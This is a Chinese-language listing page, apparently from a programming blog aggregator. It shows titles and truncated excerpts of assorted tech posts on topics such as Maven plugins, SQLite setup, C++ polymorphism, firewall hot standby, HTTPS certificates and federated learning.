题目描述 给定一个长度为 n 的数组 nums,若其中存在某个位置 index,使得 [0, index - 1] 范围的元素之积 等于 [index 1, n - 1] 范围的元素之积,则称 index 位置是数组 nums 的平衡点。 请你找出数组 nums 的平衡点位置,若存在…...
【Maven-plugin】有多少官方插件?
之前疏理了容器底层原理,现在回归主题,在阅读 next-public时发现 parent 将从多基础插件集成到 parent 仓库中单独维护,数量众多,故在此将所有插件分类整理。以达观其全貌,心中有数。 以下是 Apache Maven 官方维护的核心插件列表…...
10-BST(二叉树)-建立二叉搜索树,并进行前中后遍历
题目 来源 3540. 二叉搜索树 - AcWing题库 思路 建立二叉搜索树(注意传参时用到了引用,可以直接对root进行修改),同时进行递归遍历;遍历可以分前中后三种写,也可以用标志来代替合在一起。其余详见代码。…...
企业培训APP如何迈向AI时代?智能化在线教育系统源码开发解析
2025年,AI驱动的企业培训系统将成为主流,企业可以借助智能化在线教育系统源码构建高效的培训体系,提高员工学习效率,优化培训成本。本文将详细解析AI如何赋能企业培训,并探讨智能化在线教育系统源码的关键技术与开发实…...
CXSMILES介绍
Chemaxon 扩展 SMILES/SMARTS 用于在 SMILES 字符串后存储分子的特殊特征。任何信息都可以存储在 SMILES 字符串后,只要它们由空格或制表符字符分隔,因为 SMILES 解析器会忽略这些信息,或者将它们作为注释使用。扩展特征以以下格式存储: SMILES_String |<feature1>,…...
麒麟服务器操作系统Sqlite部署手册
软件简介 SQLite****介绍 SQLite是一个进程内的轻量级嵌入式数据库,它的数据库就是一个文件,实现了自给自足、无服务器、零配置的、事务性的SQL数据库引擎。它是一个零配置的数据库,这就体现出来SQLite与其他数据库的最大的区别:SQLite不需要在系统中配置,直接可以使用。…...
【GPT-SoVITS】GPT-SoVITSAPI调用:让二次元角色开口说话,打造专属语音合成系统
介绍 GPT-SoVITS 是一个强大的语音合成系统,它结合了 GPT(生成式预训练转换器)和 SoVITS(Soft-VC VITS)两种先进技术: GPT: 负责文本理解和语音生成的控制,能够根据上下文生成自然的语音内容S…...
Deepseek API+Python测试用例一键生成与导出-V1.0.2【实现需求文档图片识别与用例生成自动化】
在测试工作中,需求文档中的图片(如界面设计图、流程图)往往是测试用例生成的重要参考。然而,手动提取图片并识别内容不仅耗时,还容易出错。本文将通过一个自研小工具,结合 PaddleOCR 和大模型,自…...
防火墙双机热备(主备分担)
目录 引言 主备备份实验 1、基本配置 2、双机热备配置 查看双机热备状态 主备切换 路由影响 引言 传统VRRP方式无法实现主、备用防火墙状态信息和多组VRRP状态的一致性,所以可能会导致流量的回包不从首包通过的防火墙回包,防火墙会因为状态检测机…...
记Redis集群挂掉后,尝试重启集群但失败问题
前期尝试解决:将redis集群中所有redis节点都关闭后,又重新启动服务并且试图用命令建立集群通讯,报错[ERR] Node 192.168.75.128:7001 is not empty. Either the node already knows other nodes (check with CLUSTER NODES) or contains some…...
c++--vector
1.定义vector vector的定义分为四种 (1)vector() ——————无参构造 (2)vector(size_t n,const value_type& val value_type()) ——————构造并初始化n个val (3)vector(const vector& v1) ———————拷贝构造 (4)vector(inputiterator first,inpu…...
计算机视觉——深入理解卷积神经网络与使用卷积神经网络创建图像分类算法
引言 卷积神经网络(Convolutional Neural Networks,简称 CNNs)是一种深度学习架构,专门用于处理具有网格结构的数据,如图像、视频等。它们在计算机视觉领域取得了巨大成功,成为图像分类、目标检测、图像分…...
c++题目_翻译家
题目描述 grang是一个帅气的翻译家他的任务是把摩斯密码翻译成2进制数,他要上课所以想请你帮他一下,他会给你 一段摩斯密码有“.”和“-”组成让你输出个二进制数。 翻译规则是:不用管-,看每一个.有几个"."组成如果有奇…...
【解析 ECharts 图表样式继承与自定义】
解析 ECharts 图表样式继承与自定义 本文将详细介绍 ECharts 的样式继承机制,从其原理、演进到实际应用场景,并结合实际开发经验分享一些实战技巧,帮助开发者在构建数据可视化页面时实现更统一、灵活的样式管理与高效开发。 一、背景与来龙…...
Python IP解析器 ip2region使用
说明:最近需要在python项目内使用IP定位所在城市的需求,没有采用向外部ISP服务商API请求获取信息的方案,则翻了翻,在搞Java时很多的方案,在Python端反而可选择范围很小。 # 示例查询 ips ["106.38.188.214"…...
Java Stream 流的介绍
介绍 在 Java 8 中,引入了 Stream API,它为处理集合(如 List、Set 等)提供了一种更简洁、声明式的方式。Stream 流的设计目标是支持对数据集合的高效操作,尤其是能够进行链式操作、并行处理等,极大地提升了…...
C++从入门到入土(八)——多态的原理
目录 前言 多态的原理 动态绑定与静态绑定 虚函数表 小结 前言 在前面的文章中,我们介绍了C三大特性之一的多态,我们主要介绍了多态的构成条件,但是对于多态的原理我们探讨的是不够深入的,下面这这一篇文章,我们将…...
BFS,DFS带图详解+蓝桥杯算法题+经典例题
1.BFS和DFS的定义与实现方式 1.1 深度优先搜索(DFS) 基本概念:DFS 是一种用于遍历或搜索图或树的算法。它从起始节点开始,沿着一条路径尽可能深地探索下去,直到无法继续或者达到目标节点,然后回溯到上一个…...
【RHCE实验】搭建主从DNS、WEB等服务器
目录 需求 环境搭建 配置nfs服务器 配置web服务器 配置主从dns服务器 主dns服务器 从dns服务器 配置客户端 客户端测试 需求 客户端通过访问 www.nihao.com 后,能够通过 dns 域名解析,访问到 nginx 服务中由 nfs 共享的首页文件,内容…...
有哪些开源的智慧园区项目?
作为专注于数字孪生技术的开发者团队,我们一直在数字孪生圈分享开源项目。但最近一次与AI助手Deepseek的对话,却让我们“又惊又喜”。 ——当询问“有哪些开源的智慧园区项目”时,Deepseek的回答中竟包含了我们自己的开源项目! 这…...
prometheusalert对阿里云短信服务不适配问题处理
背景 想通过prometheusalert实现阿里云短信告警。结果在配置完altermanager和prometheusalert,以及阿里云短信服务中的各种签名和短信模板之后,在prometheusalert web ui上测试模板时一直报“模板变量JSON格式错误 或 JSON变量属性与模板占位符不一致”…...
NFC 碰一碰发视频源码搭建,支持OEM
一、引言 NFC(Near Field Communication)近场通信技术,以其便捷、快速的数据交互特性,正广泛应用于各个领域。其中,NFC 碰一碰发视频这一应用场景,为用户带来了新颖且高效的视频分享体验。想象一下&#x…...
浅谈鸿蒙跨平台开发框架ArkUI-X
之前写过使用uniapp的跨平台开发鸿蒙项目,今天分享一下开发体验更友好的跨平台开发框架ArkUI-X。 ArkUI-X看起来像是鸿蒙官方的框架,在DevEco中就可以安装和使用,而且会ArkUI就可以开发安卓和、iOS和鸿蒙三个平台的app,下面简单介…...
LLVM学习-- 构建和安装
一 LLVM版本 二 适用预构建的二进制文件安装LLVM 三 适用包管理器安装LLVM 四 从源码构建用于Linux的LLVM 五 从源码构建用于Windows和Visual Studio的LLVM 六 从源码构建用于MacOS 和XCode的LLVM 1.1 LLVM项目从10年前第一次发布到版本3.4,其SVN存储库包含了超过20…...
总结Solidity 的数据类型
数据类型 在 Solidity 中,类型系统非常丰富,主要分为 值类型(Value Types)和 引用类型(Reference Types)。此外,还有一些特殊类型和全局变量。 一.值类型 布尔型(bool)…...
C# 中泛型(Generics)的核心概念
在 C# 中,泛型(Generics) 是一种强大的编程特性,允许你编写可重用、类型安全的代码,而无需为不同类型重复编写相似的逻辑。泛型的核心思想是参数化类型,即通过占位符(如 T)表…...
ubuntu 根据src 包从新打包
下边以onnxruntime示例: 1. 安装必要的依赖 确保你的系统已安装 devscripts、dpkg-dev 和 build-essential: sudo apt update sudo apt install devscripts dpkg-dev build-essential equivs2. 解压源码 进入存放源码包的目录,并解压: #c…...
如何启用 HTTPS 并配置免费的 SSL 证书
引言 HTTPS 已成为现代网站安全性的基础要求。通过 SSL/TLS 证书对数据进行加密,不仅可以保护用户隐私,还能提升搜索引擎排名并增强用户信任。本指南将详细介绍如何通过 Lets Encrypt(免费、自动化的证书颁发机构)为您的网站启用…...
Python数据与变量、进制转换、输入输出函数、基本运算,基础语法编程练习
第一节 数据与变量 程序 数据 指令 1.1 内置基本数据类型 (1)数值型 整数(int):用于表示整数,注意一点Python中int数据可以存储任意大小整数,不会像其他语言(C\C Java࿰…...
联邦学习(Federated Learning)
1. 概念 联邦学习(Federated Learning, FL)是一种分布式机器学习技术,它允许多个参与方(如设备、机构或企业)在不共享原始数据的情况下协同训练机器学习模型。联邦学习通过本地计算模型参数聚合的方式,保护…...
AI大模型核心原理(二)
一、人工智能的兴起。 1、前序。 艾伦麦席森图灵; 是计算机科学之父。 著名英国数学家、计算机科学家、逻辑学家和密码分析学家,被誉为计算机科学与人工智能之父。 阿兰・图灵(Alan Turing) 是译名(简称)…...